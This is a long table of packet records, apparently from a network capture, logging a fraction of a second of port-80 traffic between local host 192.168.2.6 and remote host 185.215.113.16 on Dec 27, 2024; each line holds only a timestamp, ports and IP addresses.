Dec 27, 2024 08:50:51.569005966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.569082975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.569083929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.569154978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.569709063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.569772005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.569785118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.569843054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.569843054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.569869995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.570574999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.570635080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.570645094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.570657969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.570719957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.570725918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.571285963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.571361065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.571362019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.571376085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.571449041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.571490049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.572082996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.572154045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.572166920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.572211027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.572211027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.572365999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.572866917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.572942019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.572954893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.572985888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.573024988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.573025942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.573651075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.573740005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.573751926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.573753119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.573781967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.573800087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.574446917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.574508905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.574522018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.574558973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.574558973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.574603081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.575233936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.575305939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.575321913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.575329065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.575378895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.575397015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.576020002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.576081038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.576092958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.576128960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.576162100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.576188087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.576807022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.576862097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.576885939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.576898098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.576968908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.577081919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.577614069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.577657938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.577670097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.577691078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.577753067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.577755928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.578383923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.578457117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.578470945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.578530073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.578530073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.578555107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.579180956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.579231024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.579236984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.579250097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.579334974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.579355001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.579967976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.580030918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.580044031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.580096960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.580097914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.580136061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.580816984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.580858946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.580871105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.580904007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.580943108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.581535101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.581612110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.581625938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.581662893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.581677914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.581686974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.582313061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.582406998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.582437992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.582451105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.582534075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.582535982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.583133936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.583185911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.583185911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.583199024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.583213091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.583275080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.583287954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.583899975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.583964109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.583971024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.583986044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.584064007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.584115982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.584695101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.584789991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.584801912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.584816933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.584841967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.584877014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.585475922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.585530043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.585998058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.624749899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.624874115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.624898911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.624917030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.624952078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.624994993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.625099897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.625117064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.625228882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.625618935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.625722885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.626439095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.767960072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768009901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768027067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768121004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768131971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.768347025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768415928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768433094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768459082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.768479109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.768841028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768922091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768938065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768954992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.768980026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.769006968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.769584894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.769628048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.769644022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.769651890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.769715071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.769764900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.770410061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.770456076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.770472050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.770508051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.770509958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.770550013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.771363974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.771383047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.771399021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.771418095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.771442890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.771442890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.771994114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.772010088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.772025108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.772087097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.772126913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.772744894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.772780895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.772798061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.772911072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.772912025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.773523092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.773596048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.773611069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.773627996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.773673058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.773703098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.774317980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.774358034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.774374008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.774414062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.774414062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.774444103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.775135040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.775191069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.775207996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.775211096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.775262117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.775264978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.775893927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.775965929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.776019096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.776035070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.776141882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.776221037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.776690006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.776716948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.776732922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.776858091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.776870012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.777467012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.777508020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.777523994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.777539015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.777579069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.777605057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.778274059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.778301001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.778322935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.778351068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.778383017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.778397083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.779045105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.779081106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.779097080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.779103994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.779176950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.779223919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.779831886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.779895067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.779910088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.779948950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.779948950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.779954910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.780719042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.780734062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.780751944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.780775070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.780780077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.780853033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.781414986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.781447887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.781465054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.781521082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.781521082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.781547070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.782239914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.782267094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.782284021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.782322884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.782322884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.782362938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.783018112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.783042908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.783057928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.783092022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.783119917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.783122063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.783776045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.783824921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.783842087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.783857107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.783885956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.783904076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.784579039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.784621954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.784636974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.784670115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.784704924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.784708977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.785356045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.785410881 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.785413027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.785430908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.785501003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.785532951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.786176920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.786228895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.786245108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.786269903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.786300898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.786300898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.786914110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.786973953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.826271057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.826313972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.826330900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.826426983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.826457024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.826658964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.826674938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.826699018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.826728106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.826729059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.881155968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.969439983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.969487906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.969501019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.969511986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.969647884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.969647884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.969764948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.969841957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.969854116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.969989061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.970279932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.970374107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.970392942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.970403910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.970424891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.970463037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.971051931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.971105099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.971117020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.971168995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.971168995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.971189976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.971844912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.971877098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.971889973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.971909046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.971954107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.971977949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.972657919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.972668886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.972681046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.972709894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.972769976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.972775936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.973431110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.973448992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.973464012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.973479986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.973524094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.973546028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.974193096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.974240065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.974251032 CET	80	49752	185.215.113.16	192.168.2.6
